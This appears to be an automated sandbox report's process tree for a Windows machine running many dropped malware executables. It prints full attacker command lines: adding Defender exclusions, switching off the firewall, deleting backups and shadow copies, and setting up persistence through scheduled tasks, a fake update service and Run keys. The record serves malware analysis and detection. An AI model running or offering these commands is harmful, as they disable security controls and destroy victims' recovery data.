C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5772,i,4355564029132650854,13205807970289875477,262144 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5756,i,3598529758709502021,17996400221844227875,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=852 /prefetch:85⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 12564⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 13684⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 14764⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"3⤵
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\Network3F73\SmartScreenHost27dac.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Stop-Process -Force -Id 736; Start-Sleep -Seconds 3; Remove-Item 'C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe'4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exe"C:\Users\Admin\AppData\Local\Temp\a\a.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5868" "2356" "2284" "2360" "0" "0" "2364" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\tmpcercul7e\xena.exeC:\Users\Admin\AppData\Local\Temp\tmpcercul7e\xena.exe5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\RandomError.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\RandomError.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\9s07g59jj323w77x.exe"C:\Users\Admin\AppData\Local\Temp\bnd_76f6c1e5\9s07g59jj323w77x.exe"6⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.exe"C:\Users\Admin\AppData\Local\Temp\a\client.exe"3⤵
- Modifies WinLogon for persistence
- UAC bypass
- Executes dropped EXE
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\a\client.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reagentc /disable5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\ReAgentc.exereagentc /disable6⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:C: -allVersions -quiet6⤵
- Deletes system backups
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:D: -allVersions -quiet6⤵
- Deletes system backups
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-IK8IR.tmp\file_73ed34a7752ecb3a.tmp"C:\Users\Admin\AppData\Local\Temp\is-IK8IR.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$C0268,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-09OG0.tmp\Da_L.exe"C:\Users\Admin\AppData\Local\Temp\is-09OG0.tmp\Da_L.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\ProgramData\JAVAkubernetes_v4\Da_L.exeC:\ProgramData\JAVAkubernetes_v4\Da_L.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\update.exe"C:\Users\Admin\AppData\Local\Temp\a\update.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svc.exe"C:\Users\Admin\AppData\Local\Temp\a\svc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" description WinUpdateHelper "Manages Windows Update helper components"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start WinUpdateHelper4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\a\desk.exe"C:\Users\Admin\AppData\Local\Temp\a\desk.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exe"C:\Users\Admin\AppData\Local\Temp\a\s.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\app.exe"C:\Users\Admin\AppData\Local\Temp\a\app.exe"3⤵
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\app.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1785616802 "4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Checks computer location settings
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\401392907.vbs"5⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\401392907.ps1"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Checks computer location settings
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\401392907.vbs"5⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\401392907.ps1"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"3⤵
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"3⤵
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new4⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff91979c728,0x7ff91979c734,0x7ff91979c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1936 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2076 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2340 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3256 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3296 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3652 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3692 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4112 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4484 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3420 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7380241016578" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,18249314875956817442,18433153955442223788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4992 /prefetch:85⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new4⤵
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3712241022515 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3712241022515\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ff91c38c188,0x7ff91c38c194,0x7ff91c38c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2264 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2232 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2272 /prefetch:85⤵
-
-
